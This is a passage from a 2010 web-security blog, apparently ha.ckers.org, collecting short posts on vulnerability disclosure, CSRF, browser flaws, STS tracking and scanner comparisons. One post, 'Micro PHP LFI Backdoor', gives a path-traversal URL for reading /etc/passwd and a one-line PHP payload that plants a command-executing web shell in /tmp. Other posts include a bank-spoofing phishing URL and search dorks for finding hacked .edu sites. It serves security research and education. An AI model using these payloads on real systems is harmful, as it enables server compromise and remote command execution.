  See, here’s the big problem. Either you are all about full disclosure (which is happening less and less these days), you use it only when you know the company won’t react otherwise or has all kinds of other hinky things they do behind your back (the same reason I advocate full disclosure against Google), or you use responsible disclosure. Google says it adheres to responsible disclosure, but at the same time they give Microsoft 5 days to fix their 0day agree to a 60 day patch cycle for exploit code that Google’s researchers themselves created! From Google’s own website:

  This process of notifying a vendor before publicly releasing information is an industry standard best practice known as responsible disclosure. Responsible disclosure is important to the ecology of the Internet. It allows companies like Google to better protect our users by fixing vulnerabilities and resolving security concerns before they are brought to the attention of the bad guys. We strongly encourage anyone who is interested in researching and reporting security issues to observe the simple courtesies and protocols of responsible disclosure. Our Security team follows the same procedure when we discover and report security vulnerabilities to other companies.

  … except when you don’t. Then Tavis puts a patch up on a domain that, no offense to Tavis, is more sketchy sounding than a lot of malware sites out there (http://lock.cmpxchg8b.com). Do you really expect a billion XP users to download and run that? (Non sequitur) There is evidence that it doesn’t even work in some cases, but it does appear to work against the one PoC Tavis put up in the test I ran. I don’t know, the whole thing just rubbed me the wrong way. But at least now no one has to pretend to do responsible disclosure with Google just because it’s the right thing to do - they don’t use it themselves. Even when MS finds a vuln in Google they do so responsibly. I don’t mean to say anything bad about Tavis, because he’s probably a good guy, with a lot of skill. But let’s stop pretending Google’s team is chivalrous, shall we? Let’s see what Google does when one of their own breaks their stated policies, whether the researcher is working in their own time or not.

• 

  CSRF Isn’t A Big Deal - Duh!

  Posted: April 14th, 2010, 2:09pm CDT by RSnake

  Tags:  Webappsec   [edit]

  Did you hear the news? CSRF isn’t a big deal. I just got the memo too! There were a few posts pointing me to an article on the fact that CSRF isn’t that big of a deal. Fear not, I am here to lay the smack down on this foolishness. To be fair, I have no idea who this guy is, and maybe he’s great at other forms of hacking - web applications just don’t happen to be his strong point. Let’s dissect the argument, just to be clear:

  Even with some of the best commercial Web vulnerability scanners, it’s very rare that I find cross-site request forgery (CSRF). That doesn’t mean it’s not there. Given the complexity of CSRF, it’s actually pretty difficult to find.

  Huh? It’s difficult to find with a scanner so therefore it’s difficult to find period? Noooo… almost every single form on the internet is vulnerable to it unless it’s using a nonce. Just because scanners have a tough time dealing with it doesn’t mean it’s hard for a human to find. If you set down your scanner and do a manual pentest once in a while you’ll find that nearly every site is vulnerable to it in multiple places (.NET with encrypted ViewStates are the only sites that natively don’t have this problem regularly).

  The good news is it’s even more difficult to exploit CSRF which essentially takes advantage of the trust a Web application has for a user.

  What the?! Difficult to exploit? If writing HTML and/or JavaScript is difficult, sure. However, if you have even the slightest idea of how to create a form and a one liner JavaScript to submit it, or even worse a single image tag in a lot of cases, it’s not difficult. It’s not even mildly challenging. The only hard part is getting the user to click on that page with the payload, but even that should still be kitten play in almost all cases through web-boards, spear phishing and the like. Getting people to click on links is insanely easy. Maybe I’m not getting the difficult part. Also, that is a terrible way to think about CSRF - it’s not always about trust, it’s just about getting another user to commit an action on your behalf. Trust is only involved in some instances of CSRF - there are many many examples that have nothing to do with user credentials.

  So, based on what I’m seeing in my work I don’t think CSRF is as big of a deal - or perhaps I should say as top of a priority.

  No, not top priority compared to something like SQL injection or command injection or something. But yes, it’s very much a big deal. Last week I did an assessment where one of the CSRF attacks would allow me to create a new admin user in the system. A huge percentage of the fraud on the Internet (TOS fraud, not actual hacking) is related to CSRF abuse (click fraud, affiliate fraud, etc…). We’re talking about hundreds of millions of dollars lost to a single exploit and only in those two variants. Like lots of exploits it totally depends on the problem at hand. Sorry, folks, CSRF is not getting downgraded because a piece of software can’t find the issue for you.

• 

  Chrome Phishing

  Posted: April 14th, 2010, 9:01am CDT by RSnake

  Tags:  Webappsec   [edit]

  Securosis did a little writeup on how Google’s switching to Chrome as a secure alternative to anything else is rather short-sighted following an interview with Eric Schmidt. I think some people think I’m just speculating when I talk about how browsers tend to make the same mistakes over and over again without learning the lessons of their predecessors. No, that’s not idle speculation. Eric Schmidt said that they want to be held accountable for how much more secure their website and web technologies are. Alright… if you say so, Eric.

  Reaching into my grab bag of Chrome issues, let me pull out the oldest lamest one I can just as a proof of concept:

  There is a long ago patched bug that was used by phishers many years back that allowed them to create targeted phishing links that could fool the eye. By putting the name of the site in question in the basic authentication field, they could make people think they were clicking on something they weren’t. Mind you, this has been patched for years in Firefox. Chrome? Not so much. The following was tested in Chrome on Vista.

  http://www.bankofamerica.com@ha.ckers.org/

  The reason why modern “new” browsers aren’t as good for security is precisely because of two reasons 1) they haven’t figured their security model out completely and 2) they don’t go back and read about all the same hard learned lessons of their kin and build in those lessons learned. Basing your entire security model on an unproven browser that JUST had a dozen holes uncovered a few days ago is foolhardy at best. So, yes, Eric - I’m sorry to say, you are building your new security posture on a house of cards, and everyone who uses Google, Chinese dissidents or otherwise, is at the mercy of that decision.

• 

  Chrome Fixes STS Privacy Issue

  Posted: April 13th, 2010, 11:44am CDT by RSnake

  Tags:  Webappsec   [edit]

  I’m always interested in finding ways to leak privacy information out through browsers. For those who aren’t aware of it, there’s a new technology called “Strict Transport Security” or STS for short that pins a browser into using SSL/TLS for all further connections with the site in question. The goal of the tool is to reduce the risk of tools like SSLStrip that downgrade you to using HTTP instead of HTTPS. However, there was a somewhat bad privacy issue that was created as a result of it:

  Imagine a scenario where you have one website that a user is interacting with (say an evil advertising empire intent on tracking people for marketing purposes).

  On that SSL/TLS enabled website there are a series of iframes. Each iframe leads to different HTTP (not HTTPS servers). The first iframe (call it iframe00) is the “check” to see if the user has been to the site before. It automatically redirects the user to the HTTPS site via 301 redirect. The fact that the user hit the HTTP site at all means they haven’t been there before which brings us to the first use case:

  Use case 1) If the user has not been to the evil website before (which can be found out because the user will hit the HTTP version of frame00 before being redirected to the STS enabled SSL/TLS version of that subdomain), a series of iframes will selectively turn STS on and off on each subdomain. Those subdomains will essentially provide one bit of information. Collectively that maps to a user profile in the database. For instance frame01 = STS, frame02 = HTTP, frame03 = STS, frame04 = STS … could map to binary 1011 = decimal 11 or the 11th user to visit the site. The number of iframes required is based on the total number of users that the site believed it would need to track over it’s lifetime or 33 iframes total (which would enable enough bits for the ~1.7bn internet users).

  Use case 2) If the user has been to the site before they will not hit the HTTP site on frame00 (the “check” website) and they instead are immediately sent to the STS site, the evil website can begin to calculate who that user corresponds to. By setting every frame to the HTTP sites (not STS enabled SSL/TLS sites) and seeing which ones instead go to the HTTPS site, the evil site can map those bits back to the corresponding user that the site has seen before.

  This is one of those unfortunate examples where it’s a good idea that introduces another security flaw. The fix isn’t great though - as it basically helps reduce the effectiveness of STS in the first place, by making it easier for the user to clean out. The whole point of STS is to pin the browser to a secure connection. So either that’s important to do, or it isn’t. If it isn’t, STS shouldn’t exist. If it is, then it shouldn’t be cleaned. Either way, I don’t think STS is going to provide a lot of value without some more thinking. But for now, it’s a good chance for companies to play with a new way of securing their site from man in the middle attacks. Firefox is planning on implementing this soon as well. Overall, I was pretty happy with how Google handled the bug, and fixed it, along with the dozen or so other bugs that were reported to them during the bug hunting contest. Hopefully, Google will continue increase their diligence around privacy issues in their products in the future.

• 

  AT&T UTMS JS Injection

  Posted: April 12th, 2010, 1:37pm CDT by RSnake

  Tags:  Webappsec   [edit]

  This isn’t exactly an exploit, but I’m sure after reading it, some people will feel like it is, or at minimum it might make people feel uncomfortable. It appears when users connect through AT&T UTMS wireless cards, the system man-in-the-middle’s the connection, and not only does it downgrade the image quality for performance reasons but it also injects a piece of JavaScript located at http://2.2.3.4/bmi-int-js/bmi.js (not live on the Internet). If you’re anything like me and you see a piece of JS installed in your website that you know doesn’t have any JS on it at all, you’re thinking you’re owned at this point. Alas, you probably are owned, but it’s in an effort to save your bandwidth. You can download a zipped copy of this JavaScript file here.

  The real questions are when and how this page gets cached, and who owns 2.2.3.4 when it’s not being MITM’d (when you switch from UTMS to another network), and on and on. Incidentally, I tried to do directory transversal and go to http://2.2.3.4/ to see what else might be on that page and it banned me from going there and to the JavaScript file for the rest of the session. Why? Probably to stop guys like me from hacking whatever server that is and MITMing everyone on AT&T’s UTMS network. Clearly reducing the size of the page, is good for them, and is good for some percentage of users who don’t care about the potential issues here. And for the rest of us, we’ll continue to tunnel our traffic so we can avoid AT&T’s MITM craziness.

  Update: a few people have sent me a link that this also is happening on other networks as well.

• 

  Mavituna Security’s Netsparker Community Edition

  Posted: April 9th, 2010, 8:15pm CDT by RSnake

  Tags:  Webappsec   [edit]

  For those pen-testers out there, you may be interested in this. Mavituna security recently announced a free “community version” of their scanner, Netsparker. For those who haven’t played with it yet, it’s pretty slick in one very important way, for manual penetration testers. If it can find something like blind SQL injection or command injection of some sort it will allow you to essentially use the tool itself as a pivoting tool to begin performing assessments after that initial compromise is complete. Pretty cool idea, and if you check the website, Ferruh has put up some good movies showing how powerful that can be. This would be one very good difference between a vulnerability assessment and a penetration test.

  The community version can be found here. It’s definitely a great tool for those who want to perform assessments on the cheap or want to try a tool before they buy. Other scanners have tried this route in the past (E.g. Acunetix), and I think it’s a great way to show off the goods. I’m sure he and his team would appreciate feedback.

• 

  Mozilla Plans Fix for CSS History Hack

  Posted: March 31st, 2010, 12:17pm CDT by RSnake

  Tags:  Webappsec   [edit]

  It’s with mixed emotion that I write this. The CSS history hack is soon going to close. If you look at the original Bugzilla thread this is something that Mozilla had marked as a P1 bug since 2002. You heard me right, this P1 bug has been open for 8 years. And here we are, on the cusp of an actual fix. Why do I have mixed emotion? You’d think I’d be doing back flips since we’re finally going to see an end to this. Well… the problem is we won’t.

  The first problem is that this is only Mozilla - so we’re talking about a minority of all users. Secondly, of all the hacks we have at our disposal, this is just an information leakage. In fact, I recently wrote a letter, as did a handful of other security researchers, and I only marked this as third on the importance to fix out of five. Worse yet, it doesn’t actually fix the problem. There are still other timing based attacks to get the same information. So while it’s great that we’re finally fixing an 8 year old P1 bug, it’s not like the problem is gone, we’ve just removed one vector. The bad guys still have others at their disposal.

  I know a lot of people will think I’m being a little harsh, but let’s take a real exploit here for a second - CSRF. You’re going to tell me, “Browsers can’t fix CSRF - that’s up to websites to fix. They should use nonces on every page.” Sure… but before this fix came out for Mozilla, they were saying the same thing about the CSS history hack - the browsers aren’t at fault - the spec is:

  This might be a reasonable stopgap to check in just in case some big flap comes up, although since MS is also vulnerable, and it’s really the spec’s fault we might not come under great pressure to fix this immediately.

  Yes, the spec is at fault, and yes, websites could protect themselves from the CSS history hack by also using nonces with a large enough keyspace so that computing a valid link is computationally unfeasible. Funny how both these exploits have the same fixes a) create nonces on every page on the Internet that has any sensitivity or b) fix the browser. That quote is pretty telling - without pressure from the community, there’s no way we’re going to get any of this stuff fixed because the browsers will default to whatever the poorly written spec says to do. So let’s not pat ourselves on the back too much here - it seems with every hole fixed there’s two more that pop up and even when identified they take way too long to fix. I don’t mean to harp on the Mozilla guys too much - at least they have a fix in the works. But that doesn’t change the fact that we appear to be playing a very losing game of whack a mole.

• 

  Safari Integer Overflow Aids Inter Protocol Exploitation

  Posted: March 29th, 2010, 11:17am CDT by RSnake

  Tags:  Webappsec   [edit]

  This has been out there for almost a week, but I thought it was worthwhile to talk about a little bit. Safari has a typical integer overflow in the way they look at ports. So if you add the number 65,536 to the port you want to connect to (in this case 25 + 65,536 = 65,561) you can bypass their port blocking. The guys at Goatse Security [NSFW] found a way to use the old Inter-protocol exploitation attack against sendmail all over again.

  There are a lot of implications here - first of all, port blocking is wildly insufficient. It’s not on all browsers, and even if it were, blocking 100 out of the 65,000 potential ports is just asking for problems. Secondly, no one is doing this sort of research. There are a ridiculous amount of services out there that may be forgiving enough to allow a browser to “speak” to them, but I don’t see anyone outside of a handful of people, like Weev, Wade Alcorn, Samy Kumkar, Aaron Weaver and myself doing this kind of research. There’s literally thousands of potentially exploitable services out there! It could take years at this rate to even map out the issues with the privileged ports. Scary. Lastly, the port blocking that is in place, is obviously not working either - because we’ve found more than one way to bypass it (first using FTP instead of HTTP in Mozilla and now integer overflows in Safari). Feels like a huge can of worms to me that would be better solved with a whitelist instead of a blacklist.

• 

  Conversations With a Blackhat

  Posted: March 14th, 2010, 12:25pm CDT by RSnake

  Tags:  Webappsec   [edit]

  I’ve been spending more and more time talking to blackhats lately. Frankly, I think they’re fascinating people, and have a lot to teach the rest of us. With the solemn promise that I won’t try to put them in jail, we can have free flowing conversations which aid us all in thinking about the problem space. I’ve certainly learned a lot. Anyway, I got into a conversation with one of them about how he believes that a lot of the security put in place is actually doing a pretty good job.

  The basic premise of the problem, from his perspective, is that hacking directly just isn’t as easy as it used to be, if you are like him. He’s not the type to hack randomly, he’s only interested in targeted attacks with big payouts. Sure, if you really work at it for days or weeks you’ll get in, almost always, but it’s not like it used to be where you’d just run a handful of basic tests and you were guaranteed to break in. The risk is that now when he sends his mules to go cash out, there’s a chance they’ll get nailed. Well, the more I thought about it the more I thought that this is a very solvable problem for bad guys. There are already other types of bad guys who do things like spam, steal credentials and DDoS. For that to work they need a botnet with thousands or millions of machines. The chances of a million machine botnet having compromised at least one machine within a target of interest is relatively high.

  So let’s say I’m badguy1 who wants to break into one or more companies of interest. Sure, I could work for days or weeks and maybe get into one or both of them, but at the risk of tipping my hand to the companies and there’s always a chance I’ll fail entirely. Or I could work with badguy2 who has a botnet. I could simply give a list of IPs, domains or email addresses of known targets to the bot herder and say that instead of paying a few cents to rent some arbitrary machine for a day, I’ll pay thousands of dollars to get a bot within the company I’m actually interested in.

  This tactic reminds me a little of the movie Wall Street. You have a failing company (in this case a botnet that will probably only last a year or two). If the company continues on it’s course it’ll make a pretty good amount of money, but nowhere near as much as if the owners break up the company into pieces and sell them off one by one to the interested parties. Kind of an interesting/scary thought, but it could easily be used to avoid the cost and danger of individual exploitation against a company for a hacker interested in target attacks. Rather, a brokerage for commodities (bots that come from interesting IPs/domains) could be created and used to sell off the individual nodes. Using the existing backdoor into the company greatly reduces the risks involved for badguy1, because it’s guaranteed to be successful, without all the noise of a targeted attack.

  If you were a blackhat, how much would you pay to have access to a machine inside of an organization that will lead to the big payout?

• 

  Using Parameter Pollution and Clickjacking to Aid Anti-CSRF Bypass

  Posted: March 11th, 2010, 11:06am CST by RSnake

  Tags:  Webappsec   [edit]

  It’s been a while since I’ve talked about Clickjacking, with only a few exceptions here and there. Mostly because I haven’t seen it much in the wild - at least not yet. But there’s still a lot of research out there to be done. I got an interesting email the other day that talked about a way to use parameter pollution (or a mix of URL parameters and POST) to create a condition where you can defeat CSRF tokens:

  The technique, found by Lava Kuppan describes a scenario where a mix of CSRF, parameter pollution and Clickjacking can defeat CSRF tokens in JSP and (sometimes) in ASP.NET. It’s worth a read. I did briefly mention using CSRF to pre-populate fields that may be necessary to create a Clickjacking scenario during Jeremiah and my brief talk at the world OWASP in New York. But this takes it to a new level, where you can pre-load information in such a way that it will actually defeat the application logic in the process. Anyway, cool stuff by Lava.

• 

  Nevermind, I Was Wrong, Google Is Evil

  Posted: February 15th, 2010, 4:07pm CST by RSnake

  Tags:  Webappsec   [edit]

  I’ve been waiting a while to do this post - several weeks actually since my original post. In that post, I applauded Google’s apparent interest in reigning censorship as “the first really truly non-evil thing I have seen Google do in years”. Since then, I thought it appropriate to give them some time to sift through the nuances of their blog post - you know, to give them the benefit of the doubt - of which I had many. I’m sure you remember just one month ago when Google was waxing on about how they were going to stop censoring:

  We have decided we are no longer willing to continue censoring our results on Google.cn, and so over the next few weeks we will be discussing with the Chinese government the basis on which we could operate an unfiltered search engine within the law, if at all.

  Well, according to The Register:

  Google Chief Legal Officer David Drummond never said his company would stop censoring hot-button issues such as the Tiananmen Square massacre of 1989.

  If that theory is true Google is essentially saying, “You were too stupid to read our post properly because clearly, our post means that we aren’t able to do so legally, so we’re still going to censor.” If that’s true why would Google wait to clarify such an extremely well publicized fauxpas in their own wording? Maybe they missed all those flowers at the Chinese office. No, I don’t believe that The Register’s theory is true - I think Google sincerely intended to pull out or get more support from the Chinese. However, I believe that Google is being stonewalled by the Chinese government - and for good reason. Google’s demands are impossible to comply with. But we all know that Google and China have been talking for weeks and we haven’t seen any movement other than China’s response to Hillary Clinton saying that they don’t censor (and if anyone still needs proof, email me and I’ll give you instructions on how to see it in action).

  Google hasn’t stopped censoring anything, and they haven’t pulled out of China. They asked for a “few weeks” to have those talks, and it has been a few. So now we have to ask the question - does Google actually care about the Chinese people, or is it all about making money for the shareholders. We know that Google censors elsewhere in the world, it’s not just China, yet they’ve not even made mention of those citizens of the other nations. So we have to make the logical connection that Google is just acting in their own self interest and this whole China thing is a distraction from several other major issues, and has nothing to do with the best interest of people who are being censored. So now the real question is did Google do what it sent out to do?

  And, so yes bravo, Google. Well done. You snowballed everyone as you stall for time trying to figure out what you want to do with your failing Chinese division. You spanked the Chinese government for hacking into your systems while you drew fire away from your crappy security around your warrant-less wiretapping system that you built into Gmail. So yes, I would have to assess Google’s incredibly calculated decision as a success, but not for the people of China or other censored peoples around the world. It’s back to business as usual at the Googleplex. And so yes, Google, you can keep slinging your ads well into the future. But I have to ask - at what cost?

• 

  Phishing With Google Wave

  Posted: February 10th, 2010, 6:20pm CST by RSnake

  Tags:  Webappsec   [edit]

  Hat tip to cyberlocksmith for this post. He pointed me to a good article on how to phish Google Wave users using malicious gadgets. This is precisely what Tom Stracener and I were talking about in our presentation at DefCon and Blackhat a few years back - except this is for Wave instead of iGoogle. Either way the point is the same - when you let other people control content that is embedded in your site, you are at the mercy of whatever they chose to do within that gadget. In this case, they can pop the user out of the iframe and present them with a duplicate of the sign-in page. The vast majority of users would fall for this kind of attack too.

  I really don’t mean to harp too much on Google specifically for this stuff (in as much as I have countless times in the past held them accountable for their crappy security). There are lots of other companies and websites that are moving to user supplied gadgets in an iframe as if that makes them safe. Maybe some variant of HTML5 + some trickery can solve these problems, but there’s a lot of legacy users who won’t be able to support those standards for a good long while. In the mean-time, we just continue to see more vulnerable code being outputted by Google and their peers and the only saving grace is that no one has yet decided to take advantage of their security flaws. Scary. But I’m sure a blacklist will solve their problems if and when they do get attacked, right? Right?

• 

  Releases.mozilla.org SSL and Manual Update Fail

  Posted: February 4th, 2010, 9:37am CST by RSnake

  Tags:  Webappsec   [edit]

  I did a presentation at the DefCon Comedy Jam about how users manually validate updates for Firefox was just a total mess from a security perspective. It had a lot to do with the fact that they are using round robin DNS and relying on the good will of a lot of dispirit sites to do their hosting for them. Well, I’ve been wondering more and more about how I may or may not be able to download these releases and verify them manually in a secure way. So I did a few checks and here’s the IP space I found and the status of what their SSL/TLS ports were when checked yesterday:

  63.245.208.152 (live but with SSL/TLS mismatch)
  128.61.111.9 (connection refused)
  129.101.198.59 (connection refused)
  131.188.12.212 (connection refused)
  149.20.20.5 (connection refused)
  156.56.247.196 (connection refused)
  202.177.202.154 (connection refused)
  204.152.184.196 (connection refused)
  204.246.0.136 (connection refused)
  216.165.129.141 (connection refused)
  64.50.236.214 (connection refused)
  64.50.236.52 (connection refused)
  129.101.198.59 (operation timed out)
  155.98.64.83 (operation timed out)

  So only 1 out of 14 even have SSL enabled. Okay… well today, I took a little spin on SSLLabs and I found that the one site that does have SSL enabled (63.245.208.152) has a SSL/TLS mismatch error for videos.mozilla.org. I mean… seriously! If your browser goes to https://releases.mozilla.org this is sort of what’s happening under the hood:

  $ telnet releases.mozilla.org 443
  Trying 202.177.202.154…
  telnet: connect to address 202.177.202.154: Connection refused
  Trying 204.152.184.196…
  telnet: connect to address 204.152.184.196: Connection refused
  Trying 204.246.0.136…
  telnet: connect to address 204.246.0.136: Connection refused
  Trying 216.165.129.141…
  telnet: connect to address 216.165.129.141: Connection refused
  Trying 64.50.236.214…
  telnet: connect to address 64.50.236.214: Connection refused
  Trying 128.61.111.9…
  telnet: connect to address 128.61.111.9: Connection refused
  Trying 129.101.198.59…
  telnet: connect to address 129.101.198.59: Connection refused
  Trying 131.188.12.212…
  telnet: connect to address 131.188.12.212: Connection refused
  Trying 149.20.20.5…
  telnet: connect to address 149.20.20.5: Connection refused
  Trying 155.98.64.83…
  telnet: connect to address 155.98.64.83: Operation timed out
  Trying 156.56.247.196…
  telnet: connect to address 156.56.247.196: Connection refused
  Trying 63.245.208.152…
  Connected to releases.geo.mozilla.com.
  Escape character is ‘^]’.
  ^]
  telnet> quit

  Yes, after a minute of trying your browser will eventually find the one HTTPS server - or it won’t (sometimes it just gives up). So then in poking around within my Mozilla config I saw a reference to http://en-US.www.mozilla.com/en-US/firefox/3.5.7/releasenotes/. So I switched to SSL/TLS with this link, because I like being secure, and I get a SSL/TLS warning as well. These are the kinds of things that make Firefox incredibly unsafe to manually download and verify the binaries if you are in a hostile environment. And I’m just scratching the surface compared to my presentation. How many of those 3rd party sites do you think can be exploited?

• 

  Accuracy and Time Costs of Web Application Security Scanner Report

  Posted: February 3rd, 2010, 2:26pm CST by RSnake

  Tags:  Webappsec   [edit]

  Larry Suto is back with another report outlining the differences between some of the top web application scanners on the market. Before you get all uptight and start flaming me, I in NO WAY sponsored, encouraged or had anything to do with this test in any way. In fact, I only found out about it a few days ago. Not that I think that’ll stop the flame wars, but just direct your ire appropriately, please! Anyway, he took a different approach this time, and instead of running the scanners against something he had devised up to be used only in his own lab, he turned all the scanners on each other’s public test sites. You might think they should all fair fairly well since they’re all public and there’s nothing stopping them from testing to their heart’s content. But that’s anything but what he found. You can download Larry’s report here.

  Some of the more interesting findings were that Burp Suite Pro (an extremely cheap product built by Portswigger - and a damned fine manual testing tool, I might add) fared better than Qualys or WebInspect when trained. I always loved Burp Suite! Larry’s commentary is particularly amusing as you go through it, with choice quotes, like:

  Accuntix missed 31% of the vulnerabilities after training and 37% without training. This is a significant cause for concern as they should be aware of the links vulnerabilities on their own site and be able to crawl and attack them.

  And…

  WebInspect missed 66% of the vulnerabilities, even after being trained to know all of the pages. They missed 42% of the vulnerabilities on their own test site after being trained and 55% before training.

  NTOSpider by NT Objectives came out in the lead with the best overall score of the application scanners tested (which included Acunetix, Appscan, Burp Suite Pro, Hailstorm, WebInspect, and NTOSpider). He also measured things like how long the various scanners take to configure, support and so on - all important things for companies about to make the big investment. This isn’t all scanners everywhere (notably WhiteHat is missing as is the newest player to the field, NetSparker who incidentally took it upon themselves to add themselves into the report after the fact, and other free web assessment tools, like Nikto etc…), but it’s a great start to a long future of heavily debated research, I’m sure. Love him, or hate him, Larry’s always got interesting research to share!

• 

  Large List of RFIs (1000+)

  Posted: January 29th, 2010, 4:55pm CST by RSnake

  Tags:  Webappsec   [edit]

  I started on this project over a year ago, and then I stopped, and then I started it again, and then I stopped again, and finally today, I mostly got it finished (or as far as I’m willing to take it for today). I wanted to create a master list of a mess load of RFI (remote file include) attacks. I got the list from various sources and I’m sure I’m missing a ton so yes, if you think there’s some I’ve missed, go ahead and forward them on to me and I’ll add them in.

  You can download the full list here (2241 RFIs at the time of writing - after updating).

  But because of how I built this it’s got a few issues. The first one is that it doesn’t take into account the path to the vulnerable function. So if it’s http://www.vulnerable.com/bob/something… you have to add that in. The second issue is that sometimes the trailing question mark is needed but it’s not added in the string. But you may require the additional question mark so that you don’t get /r57.txt.somegarbage but rather /r57.txt?.somegarbage which will work. So if you use this, you may have to add in your own question marks after your RFI URL. Anyway, thoughts are welcome, and big thanks for the hundreds of people who found these in the first place!

• 

  Micro PHP LFI Backdoor

  Posted: January 28th, 2010, 10:49am CST by RSnake

  Tags:  Webappsec   [edit]

  I’ve been playing around a lot more with LFI attacks, because I think they’re more prevalent than I originally had expected. Last night I had cigars with one of the OWASP guys and I got to thinking that I should probably do a quick post about this. For those who aren’t clued in about LFI (local file include) attacks, it basically means that PHP is pulling in a file locally and running it (you see that happen a lot with flags like language=en where en represents a file called en.php). So an attack might look like:

  http://www.example.com/index.php?language=../../../../../../etc/passwd%00

  The null byte is to truncate anything at the end that the php file might be trying to append to the end of the file, like “.php” in “en.php” and so on. Although in that example password files aren’t PHP so it’s not helping you much beyond being able to read files off the file system. So the next step is finding the log files and injecting a PHP backdoor through a user agent or referring URL. There’s some problems with this depending on how you do it because Apache logs will escape quotes. Assuming you find a way around that (like using the error logs rather than the access logs) you can inject your PHP backdoor. Here’s my micro backdoor (thanks to Daniel Herrera for inspiration):

  <?php $c=fopen('/tmp/g','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>

  So now what this does is throw a PHP file into the /tmp directory (which is typically writable). More importantly that file can now be used to inject commands directly (in the example below it’s executing whoami):

  http://www.example.com/index.php?language=../../../../../../tmp/g%00&f=whoami

  If anyone has shorter/more effective LFI backdoor, please let me know and I’ll post them.

• 

  JavaScript Embedded in Homepage Links in Firefox

  Posted: January 27th, 2010, 10:55am CST by RSnake

  Tags:  Webappsec   [edit]

  So after the last post I was messing around a bit with the way the homepage functionality works in Firefox and I noticed something before that I had meant to go back and play with quite a while ago. Funny how the mind works. Anyway, it turns out that if you include a pipe in a URL with JavaScript after it and you somehow get someone to bookmark that page you can get JavaScript to fire on about:blank. I’m not exactly sure how that would be helpful, but it’s certainly unsafe behavior to use a pipe as a delimiter since pipes can exist as valid characters in URL structures. If you want to see it in action click hold and drag the following demo link onto the homepage button in Firefox:

  Set your homepage by dragging this link onto your homepage button at the top and then click through the button that asks for confirmation. For some reason this didn’t work on my main browser, but when I used safe mode it worked fine. I suspect that’s NoScript’s doing, so you may have to disable it to get the demo functional. Again, I’m not super clear on how this would be useful, but it’s certainly unintended behavior. Happy bookmarking!

• 

  Quicky Firefox Bookmarklet Backdoor

  Posted: January 26th, 2010, 1:44pm CST by RSnake

  Tags:  Webappsec   [edit]

  Every once in a while I see someone who really should know better leaving their desktop unattended. Sometimes you can change their homepage to porn sites, or send emails to their bosses telling them that they don’t need that pay raise after all and other such fun. Well, if you know the user isn’t utilizing Noscript you can modify their homepage to something a little more dangerous - a JavaScript bookmarklet.

  You can see a demo here. Of course this relies on you having a web server set up with a malicious piece of JavaScript that you can include ahead of time. But I think this teaches two valuable lessons if done properly. 1) Use Noscript, even on your homepage and 2) Don’t leave your desktop unattended. Please don’t use it for evil!

• 

  .EDU Hacks And Ambulance Chasing

  Posted: January 25th, 2010, 5:34pm CST by RSnake

  Tags:  Webappsec   [edit]

  I struggled a lot with this over the last few weeks as I thought about it more and more. I’ve known for a very long time that the SEO guys were hacking .edu websites to increase their pagerank for keywords. By getting .edu (which ranks higher than .com for instance because the domains are old and highly connected) to link to a site with the right keywords, Google is tricked into thinking the site is of higher value. Yes, Google’s algorithm really is that simple to get around, which is why there is a lot of garbage in their index now. It just took a while for the bad guys to get a large enough mass of hacked sites.

  So I started messing around with search strings that would help me identify highly probably hacked sites and poof - within a few minutes I had dozens upon dozens of high value compromises:

  inurl:.edu viagra
  inurl:.edu cialis
  inurl:.edu phentermine

  There are millions of variants of these keywords phrases and their ilk across far greater masses of domains, but this should give you an idea of what’s possible. Some of them are truly amazingly bad. So I took it upon myself to start emailing a few that weren’t on this list but that were just as bad. You may or may not be surprised that I got almost no responses whatsoever. In fact, I only got one that was accusing me of spamming and/or ambulance chasing. Ugh! Talk about a way to make a guy want to quit being a good citizen.

  But this brings up an interesting problem. Who exactly are the Internet cops? Some would argue that stopbadware which is heavily sponsored by Google is the equivalent. But it clearly sucks - given that all these were found within Google’s own index. What is the right way to alert a company that they’ve been compromised? Is it even worth bothering? Is my own site going to be viewed as a spam site with links like those above? What an ugly problem!

• 

  CSS History Hack In Firefox Without JavaScript for Intranet Portscanning

  Posted: January 25th, 2010, 11:36am CST by RSnake

  Tags:  Webappsec   [edit]

  Okay, I know we’ve talked about Intranet port scanning to death, but I’ve been toying with an idea for around three years now regarding how I might be able to turn off JavaScript and perform intranet port scanning. Jer had some good ideas around delayed CSS timing (I even got that working at one point). But I still wanted to get the CSS history hack working with forced browsing and see if I could possibly turn that into a crude port scanner. Yeah, I have a few items on my plate, so it took me this long to finally sit down and hack it out. It turns out it was trivial once I got started, because CSS history testing is instant, you don’t have to force a re-load of your test to see if it was successful.

  That’s the good news. Here’s the bad news. 1) It only works in Firefox so far in my testing. It didn’t work in IE8 (false negatives), Opera (false positives) or Safari (false negatives). 2) It’s slow. Since it has to wait for all the HTTP requests to fire it’s pretty unwieldy once you get over a few dozen requests. 3) It’s noisy. If you’re dealing with NTLM/basic or digest auth, not to mention any other popups or sounds or what-have-you, you’re talking a pretty noisy port scanner. But all that said, it seems to work fairly well. You can check out the demo here.

• 

  Wait, Google - I Thought You Were Evil!

  Posted: January 12th, 2010, 6:03pm CST by RSnake

  Tags:  Webappsec   [edit]

  Thanks to Jeremiah for sending these over. News is fast hitting about Chinese hacks against Adobe and Google. Very interesting stuff. But beyond the hacks themselves - in Google’s case targeting Chinese political dissidents - is this interesting news:

  We have decided we are no longer willing to continue censoring our results on Google.cn, and so over the next few weeks we will be discussing with the Chinese government the basis on which we could operate an unfiltered search engine within the law, if at all. We recognize that this may well mean having to shut down Google.cn, and potentially our offices in China.

  Wow! And I do mean wow! Google is no longer willing to take the political hit associated with their flippant stance towards China’s censorship and is actually stepping up to do the right thing! Absolutely amazing. This is the first really truly non-evil thing I have seen Google do in years. I read a really funny article the other day by Fake Steve Jobs where he called Google sociopaths - and until today I agreed with that statement. Now I think at least they know what the difference between right and wrong is, even if they’ve definitely chosen the wrong route a greater percentage of the time than not.

  Of course there is all kinds of potential for spin in Google’s blog post. For instance never once did they explain how their cloud wasn’t secure and you shouldn’t upload sensitive information to something that’s not secure if you care about that kind of thing. But alas, I’d never expect that either. Convenience will win that war over security either way. But it’s exciting news, and I’m interested to hear what the fallout of this one is.

• 

  Anonymous Proxy Woes

  Posted: January 4th, 2010, 11:54am CST by RSnake

  Tags:  Webappsec   [edit]

  Marco commented that the CSS history hack doesn’t work with hidemyass.com. Never having been there, I found myself clicking around on their site to find that it’s yet another CGI proxy. So after a few minutes of playing around here is the list of problems or potential problems I have with hidemyass.com and most of the the sites that are similar. Here are the top 10 biggest problems that I see (yes I had to limit myself to 10 because this list was getting out of control), in no particular order:

